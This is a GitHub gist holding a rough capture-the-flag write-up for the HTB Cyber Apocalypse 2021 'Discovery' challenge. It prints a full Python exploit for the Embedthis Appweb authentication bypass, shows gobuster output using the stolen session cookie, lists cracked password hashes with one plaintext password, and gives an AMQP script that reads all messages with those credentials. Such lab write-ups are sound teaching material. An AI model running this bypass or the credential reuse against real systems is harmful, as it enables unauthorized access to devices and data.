Skip to content

Instantly share code, notes, and snippets.

@telecastr
Created April 23, 2021 23:38
Show Gist options
  • Save telecastr/ddb80ad436fe3f2457677dfb1f973820 to your computer and use it in GitHub Desktop.
Save telecastr/ddb80ad436fe3f2457677dfb1f973820 to your computer and use it in GitHub Desktop.
HTB - Cyberapocalypse 2021 - Discovery (HW) - Rough Writeup

Discovery

  • Port 31227 -> Basic Auth, no luck with admin/admin, ... & user admin+ rockyou.txt

  • Port 32544 -> AMQP, requires auth, no luck with guest/guest & user admin+rockyou.txt

  • Ports change with restart of Docker-container + Services of other challanges are running on the same IP but different port ...

  • The authentication form tells us, this is a AppWeb Embedded Server

    • Found common vuln for app web: https://lab.wallalarm.com
    • Found working exploit for user admin at https://vulners.com:
    • Rewrite of exploit for python3:
      import requests
      import argparse
      
      print ("""----------------------------------------------------------------
      Embedthis Appweb/Http Zero-Day Form/Digest Authentication Bypass
      ----------------------------------------------------------------
      """)
      
      def test_digest(r):
          auth = ["realm", "domain", "qop", "nonce", "opaque", "algorithm", "stale", "MD5", "FALSE", "Digest"]
          wwwauthenticate = r.headers.get('WWW-Authenticate')
      
          if wwwauthenticate is None:
              return False
      
          for k in auth:
              if k not in wwwauthenticate:
                  return False
      
          return True
      
      
      def test_form(r):
          """ extremely shoddy recognition, expect false positives """
      
          auth = [("X-XSS-Protection", "1; mode=block"), ("X-Content-Type-Options", "nosniff"), ("ETag", None), ("Date", None)]
          potential_auth = [("Last Modified", ""), ("X-Frame-Options", "SAMEORIGIN"), ("Accept-Ranges", "bytes"), ("Content-Type", "text/html")]
      
          if r.headers.get("WWW-Authenticate") is not None:
              return False
      
          for k, v in auth:
              rv = r.headers.get(k)
              if not rv:
                  return False
              if v is not None and v != rv:
                  return False
      
          potential_count = 0
          for k, v in potential_auth:
              rv = r.headers.get(k)
              if rv and v != "" and v == rv:
                  potential_count += 1
      
          print("[+] Optional matchings: {}/{}".format(potential_count, len(potential_auth)))
          return True
      
      
      def test(url):
          """ Newer EmbedThis HTTP Library/Appweb versions do not advertise their presence in headers, sometimes might be proxied by nginx/apache, we can only look for a default headers configuration """
      
          r = requests.get(url)
      
          # EmbedThis GoAhead uses a similar headers configuration, let's skip it explicitly
          serv = r.headers.get("Server")
          if serv and "GoAhead" in serv:
              return False
      
          if test_digest(r):
              return "digest"
          elif test_form(r):
              return "form"
          return None
      
      
      def exploit(url, username="joshua", authtype="digest"):
          payload = { "username": username }
      
          headers = {
              "authorization": "Digest username={}".format(username),
              "user-agent": "TruelBot",
              "content-type": "application/x-www-form-urlencoded",
          }
      
          if authtype == "digest":
              r = requests.get(url, data=payload, headers=headers)
          else:
              r = requests.post(url, data=payload, headers=headers)
      
          print(r.content)
      
          if r.status_code != 200 or len(r.cookies) < 1:
              print("[!] Exploit failed, HTTP status code {}".format(r.status_code))
              return
      
          print("[*] Succesfully exploited, here's your c00kie:\n  {}".format(dict(r.cookies))
      
      )
      if __name__ == "__main__":
          parser = argparse.ArgumentParser(description="Test&Exploit EmbedThis form/digest authentication bypass (CVE-XXXX-YYYY)")
          parser.add_argument('-t', '--target', required=True, help="specify the target url (i.e., http(s)://target-url[:port]/)")
          parser.add_argument('-u', '--user', required=True, help="you need to know a valid user name")
          parser.add_argument('-c', '--check', action='store_true', default=False, help="test for exploitability without running the actual exploit")
          parser.add_argument('-f', '--force', action='store_true', default=False, help="skip exploitability test")
          args = parser.parse_args()
      
          url = args.target
          username = args.user
          t = "form" # default will try form/post
          if args.check or not args.force:
              t = test(url)
      
          if t is None:
              print("[!] Target does not appear to be Appweb/Embedthis HTTP with form/post auth (force with -f)")
          else:
              print("[+] Potential appweb/embedthis http, {} method".format(t))
      
          if not args.check:
              print("[!] Exploiting {}, user {}!".format(url, username))
              exploit(url, username, t)
    • Exploit generates working cookie -http-session-
    • After sending cookie with request, an admin panel is revealed: Admin panel
    • Gobuster result with cookie
        $gobuster dir -c "-http-session-=2::http.session::746f086b9785a33d7a1df4ae329fcacb" -u http://46.101.37.171:32387 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt                                           1 ⨯
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://46.101.37.171:32387
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] Cookies:                 -http-session-=2::http.session::746f086b9785a33d7a1df4ae329fcacb
    [+] User Agent:              gobuster/3.1.0
    [+] Timeout:                 10s
    ===============================================================
    2021/04/21 05:55:06 Starting gobuster in directory enumeration mode
    ===============================================================
    /images               (Status: 301) [Size: 203] [--> http://46.101.37.171:8080/images/]
    /icons                (Status: 301) [Size: 202] [--> http://46.101.37.171:8080/icons/] 
    /test                 (Status: 301) [Size: 201] [--> http://46.101.37.171:8080/test/]  
    /bench                (Status: 301) [Size: 202] [--> http://46.101.37.171:8080/bench/]
    • Password-Hashes (SHA256, no salt, hashcat -m 1400)
      • Crackstation is able to find a valid AMQP passwd winniethepooh for user anthony_davis, hash 89D9743B793B22AEB9A8142ABD59FDF4CDABFDD01796C31BE7587C114E0D37C1
      • user leo hash 27BE4E31517E61D2BEF777B7293B7D8C73C14BD1B8F2839A7B8226CBEFF30E99
    • AMQP login success with user anthony_davis
    • Subscribing to all Channels on exchange Base of user leo reveals the flag
    • Exploit:
      import pika
      
      parameters = pika.URLParameters('amqp://anthony_davis:[email protected]:32442/%2F')
      
      def on_message(channel, method_frame, header_frame, body):
          print(method_frame.delivery_tag)
          print(body)
          print()
          channel.basic_ack(delivery_tag=method_frame.delivery_tag)
      
      
      connection = pika.BlockingConnection(parameters)
      channel = connection.channel()
      
      # Declare exchange type explicitly as 'topic', taken from admin-panel
      channel.exchange_declare(exchange='Base', 
                               exchange_type='topic')
      
      result = channel.queue_declare(queue='', exclusive=False)
      queue_name = result.method.queue
      
      
      # Subscribe to wildcard topic `#` = Print all messages of exchange
      channel.queue_bind(queue=queue_name,  
                          exchange='Base', 
                          routing_key='#')
      
      def callback(ch, method, properties, body):
          print(" [x] %r:%r" % (method.routing_key, body))
      
      
      channel.basic_consume(
          queue=queue_name, on_message_callback=callback, auto_ack=True)
      
      channel.start_consuming()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment